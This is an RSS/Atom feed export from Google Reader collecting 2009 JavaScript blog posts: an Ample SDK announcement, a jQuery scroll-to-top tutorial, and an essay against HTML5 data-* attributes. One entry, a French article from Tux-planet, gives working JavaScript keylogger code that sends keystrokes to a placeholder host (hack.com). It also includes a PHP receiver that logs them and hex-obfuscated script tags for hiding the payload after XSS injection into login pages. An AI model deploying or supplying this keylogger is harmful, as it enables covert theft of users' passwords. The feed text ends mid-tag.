<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:idx="urn:atom-extension:indexing" xmlns:gr="http://www.google.com/schemas/reader/atom/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" idx:index="no"><!--
Content-type: Preventing XSRF in IE.

--><generator uri="http://www.google.com/reader">Google Reader</generator><id>tag:google.com,2005:reader/user/17526587290271802812/label/javascript</id><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><title>"javascript" via neolao in Google Reader</title><gr:continuation>CPWwnZaphZoC</gr:continuation><author><name>neolao</name></author><updated>2009-12-01T09:00:33Z</updated><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/neolao-reader-javascript" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><entry gr:crawl-timestamp-msec="1259658033859"><id gr:original-id="urn:md5:6d39158b843faa7465ff6552d89be63c">tag:google.com,2005:reader/item/6a100d087db78b16</id><category term="Mozilla" /><title type="html">Waooooooow, Ample SDK</title><published>2009-12-01T08:24:00Z</published><updated>2009-12-01T08:24:00Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/S3vFLpvD6yw/index.php" type="text/html" /><author><name>glazou</name></author><gr:likingUser>10792419635959776247</gr:likingUser><gr:likingUser>17526587290271802812</gr:likingUser><gr:likingUser>07717493336650631089</gr:likingUser><gr:likingUser>00643318891777485865</gr:likingUser><source gr:stream-id="feed/http://www.glazman.org/weblog/dotclear/index.php?feed/rss2"><id>tag:google.com,2005:reader/feed/http://www.glazman.org/weblog/dotclear/index.php?feed/rss2</id><title type="html">&amp;lt;Glazblog/&amp;gt;</title><link rel="alternate" href="http://www.glazman.org/weblog/dotclear/index.php?" type="text/html" /></source><content type="html">&lt;p&gt;Ample SDK, a must-see:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.amplesdk.com/about/compatibility/"&gt;cross-browser&lt;/a&gt; (Gecko, Webkit, Opera, Chrome, and even IE 5.5+ !!)&lt;/li&gt;
&lt;li&gt;XInclude 1.0, XML Events 1.0, XML Schema, SMIL 3.0, REX 1.0, &lt;strong&gt;XBL 2.0&lt;/strong&gt; (!), SVG, &lt;strong&gt;XUL&lt;/strong&gt; (cross-browser !), HTML5, XForms, ...&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amplesdk.com/examples/"&gt;superb demos&lt;/a&gt; (SVG-based @shepazu in IE, &lt;a href="http://www.amplesdk.com/examples/svg/posse/"&gt;&lt;strong&gt;wow&lt;/strong&gt;&lt;/a&gt;...)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amplesdk.com/about/licensing/"&gt;dual MIT/GPL licensing terms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.amplesdk.com/community/"&gt;open-source&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
Very, very impressive. Sincere congrats to &lt;a href="http://www.ilinsky.com/"&gt;Sergey Ilinsky&lt;/a&gt; and his team.&lt;br&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Hmt9Oa7hN7LKmgzthY0v8fqbNho/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Hmt9Oa7hN7LKmgzthY0v8fqbNho/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Hmt9Oa7hN7LKmgzthY0v8fqbNho/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Hmt9Oa7hN7LKmgzthY0v8fqbNho/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/S3vFLpvD6yw" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.glazman.org/weblog/dotclear/index.php?post/2009/12/01/Waooooooow-Ample-SDK</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1259657775490"><id gr:original-id="http://www.tux-planet.fr/?p=4097">tag:google.com,2005:reader/item/fb3ba688701cb45b</id><category term="Sécurite" /><category term="javascript" /><category term="keylogger" /><category term="xss" /><title type="html">Un keylogger en Javascript</title><published>2009-12-01T07:00:53Z</published><updated>2009-12-01T07:00:53Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/yfBHKBWpf14/" type="text/html" /><content xml:base="http://www.tux-planet.fr/" type="html">&lt;p&gt;&lt;img src="http://www.tux-planet.fr/public/images/icons/clavier-noir.png" alt="Keylogger"&gt;&lt;br&gt;
Un keylogger est un petit programme malicieux qui enregistre, dans un fichier, tout ce qui est saisi au clavier par un utilisateur. Une personne malveillante peut ensuite y retrouver les divers logins et mots de passe de votre ordinateur. Cet article explique comment mettre en place un keylogger écrit en JavaScript.&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;L&amp;#39;intérêt de l&amp;#39;utilisation du langage JavaScript ici est multiple. Ainsi, si l&amp;#39;on découvre une faille de sécurité dans un site internet (faille XSS ou autres), il sera assez facile d&amp;#39;y injecter le bout de code sur une page de login par exemple.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.tux-planet.fr/public/images/screenshots/schemas/keylogger-javascript.gif" rel="gallery[4097]" title="Un keylogger en Javascript"&gt;&lt;img src="http://www.tux-planet.fr/public/images/screenshots/schemas/keylogger-javascript.gif" alt="Un keylogger en Javascript" width="200"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un hacker pourra ainsi collecter l&amp;#39;ensemble des logins/passwords des utilisateurs à leur insu. Des cas de ce type ont déjà été découverts pour des sites comme Facebook.&lt;/p&gt;
&lt;h3&gt;Un keylogger en Javascript&lt;/h3&gt;
&lt;p&gt;Voici un exemple de keylogger écrit en JavaScript :&lt;/p&gt;
&lt;pre&gt;
&amp;lt;script language=&amp;quot;javascript&amp;quot;&amp;gt;
var keys=&amp;#39;&amp;#39;;
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = &amp;#39;http://hack.com/keylogger.php?c=&amp;#39;+keys;
  keys = &amp;#39;&amp;#39;;
}, 1000);
&amp;lt;/script&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Ici, le programme enregistre tout ce qui est saisi au clavier (fonction onkeypress) dans une variable temporaire appelée key. A côté de cela, la fonction setInterval attend une seconde avant de transférer les données vers un serveur distant.&lt;/p&gt;
&lt;p&gt;Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :&lt;/p&gt;
&lt;pre&gt;
&amp;lt;?php
if(!empty($_GET[&amp;#39;c&amp;#39;])) {
  $f=fopen(&amp;quot;log.txt&amp;quot;,&amp;quot;a+&amp;quot;);
  fwrite($f,$_GET[&amp;#39;c&amp;#39;]);
  fclose($f);
}
?&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;Dissimulation du keylogger&lt;/h3&gt;
&lt;p&gt;Le meilleur moyen pour dissimuler le code JavaScript malveillant consistera, dans un premier temps, à appeler un fichier distant :&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;lt;script language=&amp;quot;javascript&amp;quot; src=&amp;quot;http://hack.com/javascript.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;On pourra aller encore plus loin avec une conversion ASCII vers Hexadécimale du code JavaScript :&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;lt;script language=&amp;#39;javascript&amp;#39;&amp;gt;document.write(unescape(&amp;#39;3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%63%6f%6d%2f%6a%61%76%61%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e&amp;#39;))&amp;lt;/script&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;p&gt;&lt;br&gt;&lt;hr&gt;Article original écrit par Sébastien Bilbeau et publié sur &lt;a href="http://www.tux-planet.fr/" title="Linux"&gt;Tux-planet&lt;/a&gt; | &lt;a href="http://www.tux-planet.fr/" title="Linux"&gt;Linux&lt;/a&gt; | ©Copyright - 2005 Toutes reproduction interdites. | Commentaires : 10&lt;/p&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ByuVBGMjwe-jb3OfiIg-UGBvSHU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ByuVBGMjwe-jb3OfiIg-UGBvSHU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ByuVBGMjwe-jb3OfiIg-UGBvSHU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ByuVBGMjwe-jb3OfiIg-UGBvSHU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/yfBHKBWpf14" height="1" width="1"/&gt;</content><author><name>pti-seb</name></author><gr:likingUser>04413615572039147236</gr:likingUser><gr:likingUser>16412150986492386629</gr:likingUser><gr:likingUser>03171925008835493917</gr:likingUser><gr:likingUser>17526587290271802812</gr:likingUser><gr:likingUser>11362461078962698517</gr:likingUser><gr:likingUser>04392312591625284244</gr:likingUser><gr:likingUser>05580091738032324458</gr:likingUser><gr:likingUser>15343427923727093981</gr:likingUser><gr:likingUser>04655696189763626888</gr:likingUser><gr:likingUser>09497065381211999662</gr:likingUser><gr:likingUser>17445198549196392731</gr:likingUser><gr:likingUser>15226503381365225052</gr:likingUser><source gr:stream-id="feed/http://www.tux-planet.fr/blog/rss.php"><id>tag:google.com,2005:reader/feed/http://www.tux-planet.fr/blog/rss.php</id><title type="html">Tux-planet</title><link rel="alternate" href="http://www.tux-planet.fr" type="text/html" /></source><feedburner:origLink>http://www.tux-planet.fr/un-keylogger-en-javascript/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1259185296883"><id gr:original-id="http://www.dator.fr/?p=1717">tag:google.com,2005:reader/item/ded9942ed6e119ca</id><category term="Tutoriels" /><category term="HTML" /><category term="jQuery" /><category term="UI" /><title type="html">Afficher un élément HTML selon la position du scroll de la page avec jQuery</title><published>2009-11-25T16:58:08Z</published><updated>2009-11-25T16:58:08Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/VLG41DZc50M/" type="text/html" /><content xml:base="http://www.dator.fr/" type="html">&lt;p&gt;&lt;img src="http://www.dator.fr/wp-content/uploads/2009/11/jquery-scroll-totop-position.jpg" alt="jquery-scroll-totop-position" title="jquery-scroll-totop-position" width="600" height="180"&gt;&lt;/p&gt;&lt;p&gt;Cette idée m’est venu quand je suis tombé sur le site de &lt;a href="http://www.hitomistudio.com/magento"&gt;Hitomi Studio&lt;/a&gt;, une agence de création de site e-commerce sur &lt;strong&gt;Magento&lt;/strong&gt;. Comme vous pouvez le voir quand vous parcourez le contenu, à une certaine position de la barre de défilement, un élément HTML apparait pour vous ramener vers le haut de la page.&lt;/p&gt;&lt;p&gt;Les sources étant compressées et vu qu’ils utilisent Mootools, je me suis demandé si c’était simple de le refaire avec &lt;strong&gt;jQuery&lt;/strong&gt;.&lt;/p&gt;&lt;pre&gt;
$(function(){
        // Ajout de l'élément HTML en le cachant (au départ)
	$('
&lt;div&gt;&lt;a href="http://www.dator.fr/#top"&gt;Retour en haut&lt;/a&gt;&lt;/div&gt;
&amp;#39;).appendTo(&amp;#39;body&amp;#39;).css({opacity: 0});
	$(window).scroll(function(){ // On ajoute une fonction quand on défile dans le site
		// On récupère la position de la barre de défilement par rapport à notre fenêtre
		var scrollTop = $(window).scrollTop();
                // On ajoute une fonction au clique de notre élément.
		$(&amp;#39;#scrolltotop a&amp;#39;).click(function(){
	           // On lance l&amp;#39;animation pour retourner en haut de la page
	           $(&amp;#39;html,body&amp;#39;).stop().animate({scrollTop: 0}, &amp;#39;slow&amp;#39;);
		});
		// On récupère notre élément
		var div = $(&amp;#39;#scrolltotop&amp;#39;);
		if(scrollTop &amp;gt;= 300){ // Si on dépassé les 300 pixels
			if(div.css(&amp;#39;opacity&amp;#39;) == 0){ // et si la div est cachée
				div.stop().animate({opacity: 1}, 500); // On affiche l&amp;#39;élément
			}
		}else{
			// Sinon, on cache la div si celle ci est visible.
			if(div.css(&amp;#39;opacity&amp;#39;) &amp;gt; 0){
				div.stop().animate({opacity: 0}, 500);
			}
		}
	});
       // On lance l&amp;#39;évènement scroll un première fois au chargement de la page
	$(window).scroll();
});
&lt;/pre&gt;&lt;p&gt;Avec cette méthode, vous pouvez donc laisse la possibilité à l’utilisateur de retourner en haut de votre site sans utiliser la molette de sa souris et cela d’une manière très fluide et agréable !&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dator.fr/wp-examples/scrolltotop/"&gt;Démonstration&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Related Posts:&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquery-image-menu-ou-comment-faire-un-menu-horizontal-a-la-mootools-avec-jquery/" rel="bookmark"&gt;jQuery Image Menu, ou comment faire un menu horizontal à la Mootools avec jQuery&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/controler-le-debut-dune-animation-avec-jquery/" rel="bookmark"&gt;Contrôler le début d'une animation avec jQuery&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/jquery-gestures-prendre-le-controle-de-votre-page-web-avec-vos-mouvements/" rel="bookmark"&gt;jQuery Gestures, prendre le contrôle de votre page web avec vos mouvements&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/quicksearch-une-recherche-dans-le-contenu-html-avec-jquery/" rel="bookmark"&gt;QuickSearch, une recherche dans le contenu HTML avec jQuery&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.dator.fr/arrondir-les-angles-dun-element-html-avec-le-plugin-jquery-round-corners/" rel="bookmark"&gt;Arrondir les angles d'un élément HTML avec le plugin jQuery Round Corners&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;hr&gt;&lt;p&gt;&lt;small&gt;Article original écrit par Dator et publié sur &lt;a href="http://www.dator.fr"&gt;Dator.fr&lt;/a&gt;, le 2009. | &lt;a href="http://www.dator.fr/afficher-un-element-html-selon-la-position-du-scroll-de-la-page-avec-jquery/"&gt;Lien direct vers cet article&lt;/a&gt; | © Dator.fr - 2008 &lt;/small&gt; &lt;br&gt; Mot clés: &lt;a href="http://www.dator.fr/tag/html/" rel="tag"&gt;HTML&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/jquery/" rel="tag"&gt;jQuery&lt;/a&gt;, &lt;a href="http://www.dator.fr/tag/ui/" rel="tag"&gt;UI&lt;/a&gt;&lt;br&gt; &lt;/p&gt;&lt;p&gt;&lt;iframe src="http://feedads.g.doubleclick.net/~ah/f/k1khgdsmreh5eb09pcos1av7rs/300/250?ca=1&amp;amp;fh=280#http%3A%2F%2Fwww.dator.fr%2Fafficher-un-element-html-selon-la-position-du-scroll-de-la-page-avec-jquery%2F" width="100%" height="280" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div&gt;
&lt;a href="http://feeds.feedburner.com/~ff/DatorBlog?a=VLG41DZc50M:bm-UJ7Qax84:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DatorBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DatorBlog?a=VLG41DZc50M:bm-UJ7Qax84:RW9bx_9rXgo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DatorBlog?d=RW9bx_9rXgo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DatorBlog?a=VLG41DZc50M:bm-UJ7Qax84:x5wxd0RC_-I"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DatorBlog?d=x5wxd0RC_-I" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DatorBlog?a=VLG41DZc50M:bm-UJ7Qax84:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DatorBlog?i=VLG41DZc50M:bm-UJ7Qax84:F7zBnMyn0Lo" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DatorBlog?a=VLG41DZc50M:bm-UJ7Qax84:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DatorBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/DatorBlog?a=VLG41DZc50M:bm-UJ7Qax84:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/DatorBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DatorBlog/~4/VLG41DZc50M" height="1" width="1"&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7vuRozKFxn_N7Px9WKPdYeqw2TE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7vuRozKFxn_N7Px9WKPdYeqw2TE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7vuRozKFxn_N7Px9WKPdYeqw2TE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7vuRozKFxn_N7Px9WKPdYeqw2TE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/VLG41DZc50M" height="1" width="1"/&gt;</content><author><name>Clément</name></author><gr:likingUser>03177374849734541325</gr:likingUser><gr:likingUser>03048141154550907201</gr:likingUser><gr:likingUser>11835450126492474112</gr:likingUser><gr:likingUser>17331300259659750383</gr:likingUser><gr:likingUser>18046305070971126053</gr:likingUser><gr:likingUser>11315306705748700029</gr:likingUser><source gr:stream-id="feed/http://feeds.feedburner.com/DatorBlog"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/DatorBlog</id><title type="html">Dator Blog</title><link rel="alternate" href="http://www.dator.fr" type="text/html" /></source><feedburner:origLink>http://www.dator.fr/afficher-un-element-html-selon-la-position-du-scroll-de-la-page-avec-jquery/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1259184769010"><id gr:original-id="tag:blogger.com,1999:blog-34454975.post-8571369610315538988">tag:google.com,2005:reader/item/469ace2bb8b79f09</id><category term="JavaScript" scheme="http://www.blogger.com/atom/ns#" /><category term="data" scheme="http://www.blogger.com/atom/ns#" /><category term="dataset" scheme="http://www.blogger.com/atom/ns#" /><category term="attribute" scheme="http://www.blogger.com/atom/ns#" /><category term="element" scheme="http://www.blogger.com/atom/ns#" /><title type="html">On element.dataset And data-* Attribute</title><published>2009-11-23T21:06:00Z</published><updated>2009-11-23T22:26:48Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/t_x0S12vWcI/on-elementdataset-and-data-attribute.html" type="text/html" /><content xml:base="http://webreflection.blogspot.com/" type="html">Why on earth? I mean why we should put a &lt;em&gt;data-whatever&lt;/em&gt; attribute into our layout? Where is the good old MVC? How can you consider data-* more semantic? more semantic than what? Why we would like to kill truly semantic pages and graceful enhancements? Why we need JavaScript redundant info inside nodes attributes but we cannot understand a script tag in the middle of the page? Why in the &lt;em&gt;performances matter&lt;/em&gt; era we would like to let users download stuff that they will probably never use?&lt;br&gt;&lt;br&gt;&lt;h3&gt;What Am I Talking About&lt;/h3&gt;We can find the "&lt;em&gt;magic&lt;/em&gt;" data attribute description in the W3C &lt;a href="http://www.w3.org/TR/2009/WD-html5-20090825/dom.html#embedding-custom-non-visible-data"&gt;Semantics, structure, and APIs for HTML documents&lt;/a&gt; page. These days there is &lt;a href="http://hsivonen.iki.fi/rdf-competition/"&gt;a page&lt;/a&gt; that is going around even too much ... finally somebody realized that this data-&lt;em&gt;thingy&lt;/em&gt; is nothing different than what we could have always used since ages: &lt;strong&gt;XML&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Why We Are Doing Wrong&lt;/h3&gt;If we are enthusiast about a custom attribute able to bring whatever information, we should ask ourself why on earth we are not using simply XML plus XLS to transform nodes with custom attributes. Each node can be easily and quickly transformed, &lt;strong&gt;in the client side as well and in a cross browser way&lt;/strong&gt;, via one or more cached XSLT able to create runtime whatever we need.&lt;br&gt;We need to sort the music file list via data-length attribute? No problems at all, we can reorder via DOM every node we need and put the XML fragment transformed via XSLT into a single HTML node in that page. Moreover, we can use modular XSL to transform branches or specific cases ... but that is too clean and professional, isn't it?&lt;br&gt;&lt;br&gt;&lt;h3&gt;Data Used Via Selectors&lt;/h3&gt;Let's say we have 3 songs with the same length, taking the example from W3 page, OK?&lt;br&gt;&lt;pre&gt;&lt;br&gt;&amp;lt;ol&amp;gt;&lt;br&gt;  &amp;lt;li data-length=&amp;quot;2m11s&amp;quot;&amp;gt;Beyond The Sea&amp;lt;/li&amp;gt;&lt;br&gt;  &amp;lt;li data-length=&amp;quot;2m11s&amp;quot;&amp;gt;Beside The Sea&amp;lt;/li&amp;gt;&lt;br&gt;  &amp;lt;li data-length=&amp;quot;2m11s&amp;quot;&amp;gt;Be The Sea&amp;lt;/li&amp;gt;&lt;br&gt;&amp;lt;/ol&amp;gt;&lt;br&gt;&lt;/pre&gt;&lt;br&gt;First of all that example is quite hilarious, to make a sort as fast as possible that kind of representation is not ideal, is it?&lt;br&gt;It does not matter, the point is that as soon as this stuff will be implemented, all jQuery users will start to think so semantic that everything will become a:&lt;br&gt;&lt;pre&gt;&lt;br&gt;$("@data-whatever=whatevervalue").each(...)&lt;br&gt;&lt;/pre&gt;&lt;br&gt;Seriously ... if we want to make the web the worst semantic place ever, just put in medium skilled developers this kind of weapon, and we'll scream in few months &lt;em&gt;HTML5 Failed!&lt;/em&gt;&lt;br&gt;Who will care anymore about the appropriate element when everything can be easily validated in the W3 for totally dirty and useless, for non JS users, layouts?&lt;br&gt;&lt;br&gt;&lt;h3&gt;The Namespace War Has Started Already&lt;/h3&gt;I can imagine lots of new devs starting to use the data as if it is their own attribute, ignoring conflicts problem we've always had with the global namespace. Move this problem into the DOM, and the Cactus Jam is ready to eat.&lt;br&gt;On the other hand how &lt;em&gt;best practice&lt;/em&gt; will be a DOM loads of nodes with multiple data attributes?&lt;br&gt;&lt;pre&gt;&lt;br&gt;&amp;lt;div&lt;br&gt;   data-jquery-pluginname-good-stuff="$(this).whatever()"&lt;br&gt;   data-dojo-loadsync="thisNodeFile"&lt;br&gt;   data-prototype-valueof="Object.prototype.valueOf=this"&lt;br&gt;/&amp;gt;&lt;br&gt;&lt;/pre&gt;&lt;br&gt;... I mean ... seriously, is this the HTML5 we are talking about? An empty element there just to make the anti semantic magic happen?&lt;br&gt;&lt;br&gt;&lt;h3&gt;Dozens Of Different Ways&lt;/h3&gt;First of all &lt;strong&gt;querySelectorAll&lt;/strong&gt;.&lt;br&gt;The document method we all were waiting for is finally 90% here and rather than use semantic and logic selectors to retrieve what we need and when we need, we prefer to make the DOM that dirty? Are we truly so monkeys that we cannot spot a list of songs and order them by their length that will be 99.9% of the time &lt;strong&gt;part of that song info&lt;/strong&gt; and accordingly present in the DOM as context?&lt;br&gt;Where are classes? Where are external resources totally ignored by those users which aim is simply the one to surf quickly, or to crawl info? data-whatever?&lt;br&gt;&lt;br&gt;&lt;h3&gt;Why We Don't Need data-*&lt;/h3&gt;First of all, classes. If we have a list of songs the class &lt;em&gt;songlist&lt;/em&gt; in the single outer UL or OL node is &lt;strong&gt;everything we need&lt;/strong&gt; to retrieve that list and order by title, duration, everything else present in that list, since in whatever grid we have ever used, we order by columns where we know the column content.&lt;br&gt;How can a user even decide to order by length if this length is not displayed?&lt;br&gt;How can he order by something not even showed?&lt;br&gt;It's like me in a shop asking to order by palm trees a list of sounds systems ... I think they'll look at me like a mad person and they would be right, don't you agree?&lt;br&gt;So, the semantic part of this attribute does not exist. The same example showed in the W3 draft is ridiculous for the reason I have already said. If the song length info is already in the DOM and properly showed we don't need redundant info for every user, we just need a good sort function for that list of songs and nothing else.&lt;br&gt;&lt;pre&gt;&lt;br&gt;$.fn.sort = function(){&lt;br&gt;    // proof of concept, not even tested&lt;br&gt;    // written directly here in the blogger textarea&lt;br&gt;    // don't try at home but please try to understand the logic&lt;br&gt;    var li = Array.prototype.slice.call(this);&lt;br&gt;    li.sort(function(a, b){&lt;br&gt;        return&lt;br&gt;            $(a).find(&amp;quot;.length&amp;quot;).text() &amp;lt; &lt;br&gt;            $(b).find(".length").text() ?&lt;br&gt;        1 : -1&lt;br&gt;    });&lt;br&gt;    return $(li).each(function(i, li){&lt;br&gt;        li.parentNode.appendChild(li);&lt;br&gt;    });&lt;br&gt;};&lt;br&gt;$(".songs li").sort();&lt;br&gt;&lt;/pre&gt;&lt;br&gt;Is above proof of concept that different from a $(".songs @data-length").sort() ? It's even shorter!&lt;br&gt;&lt;br&gt;&lt;h3&gt;Map The DOM If Necessary&lt;/h3&gt;If we are struggling that much with this "&lt;em&gt;so much missed data-*&lt;/em&gt;" we can still use the class to map common info ... how?&lt;br&gt;&lt;pre&gt;&lt;br&gt;&amp;lt;ol class=&amp;quot;songs&amp;quot;&amp;gt;&lt;br&gt;  &amp;lt;li class=&amp;quot;map-0&amp;quot;&amp;gt;Beyond The Sea&amp;lt;/li&amp;gt;&lt;br&gt;  &amp;lt;li class=&amp;quot;map-0&amp;quot;&amp;gt;Beside The Sea&amp;lt;/li&amp;gt;&lt;br&gt;  &amp;lt;li class=&amp;quot;map-1&amp;quot;&amp;gt;Be The Sea&amp;lt;/li&amp;gt;&lt;br&gt;&amp;lt;/ol&amp;gt;&lt;br&gt;&lt;/pre&gt;&lt;br&gt;If we need to attach properties into a DOM node we can still use the class attribute.&lt;br&gt;Semantic, classifying the node as a mapped one, not redundant, letting us provide more than once same kind of info for different nodes, and lightweight, avoiding data description provided by the mapped object.&lt;br&gt;In few words, and always via JavaScript, we can attach a file with this content:&lt;br&gt;&lt;pre&gt;&lt;br&gt;var map=[{&lt;br&gt;    length:"3m21s",&lt;br&gt;    artist:"Nature"&lt;br&gt;},{&lt;br&gt;    length:"2m59s",&lt;br&gt;    artist:"You"&lt;br&gt;}];&lt;br&gt;&lt;/pre&gt;&lt;br&gt;For each node, when necessary, we could simply retrieve the associated map in this way:&lt;br&gt;&lt;pre&gt;&lt;br&gt;function nodeInfo(node){&lt;br&gt;    return map[&lt;br&gt;        (&lt;br&gt;            /(?:^|\s)map-(\d+)(?:\s|$)/.exec(node.className) ||&lt;br&gt;            [0,-1]&lt;br&gt;        )[1]&lt;br&gt;    ];&lt;br&gt;};&lt;br&gt;&lt;/pre&gt;&lt;br&gt;And that's it. Each mapped node will return an object or undefined when &lt;em&gt;nodeInfo&lt;/em&gt; function is called. Again, all this stuff is a proof of concept, but can we agree that data-* is just the wrong response to solve a JavaScript problem that should be solved everywhere except into the HTML?&lt;div&gt;&lt;img width="1" height="1" src="https://blogger.googleusercontent.com/tracker/34454975-8571369610315538988?l=webreflection.blogspot.com" alt=""&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vrlHf8JQHmYCwp5VYaMjHg9e5-4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vrlHf8JQHmYCwp5VYaMjHg9e5-4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vrlHf8JQHmYCwp5VYaMjHg9e5-4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vrlHf8JQHmYCwp5VYaMjHg9e5-4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/t_x0S12vWcI" height="1" width="1"/&gt;</content><author><name>Andrea Giammarchi</name></author><gr:likingUser>05325327707497594110</gr:likingUser><gr:likingUser>12486331784322100504</gr:likingUser><source gr:stream-id="feed/http://feeds.feedburner.com/WebReflection"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/WebReflection</id><title type="html">Web Reflection</title><link rel="alternate" href="http://webreflection.blogspot.com/" type="text/html" /></source><feedburner:origLink>http://feedproxy.google.com/~r/WebReflection/~3/oavCfMuo3kk/on-elementdataset-and-data-attribute.html</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1258476846769"><id gr:original-id="http://hacks.mozilla.org/?p=2338">tag:google.com,2005:reader/item/a9767245349ffee6</id><category 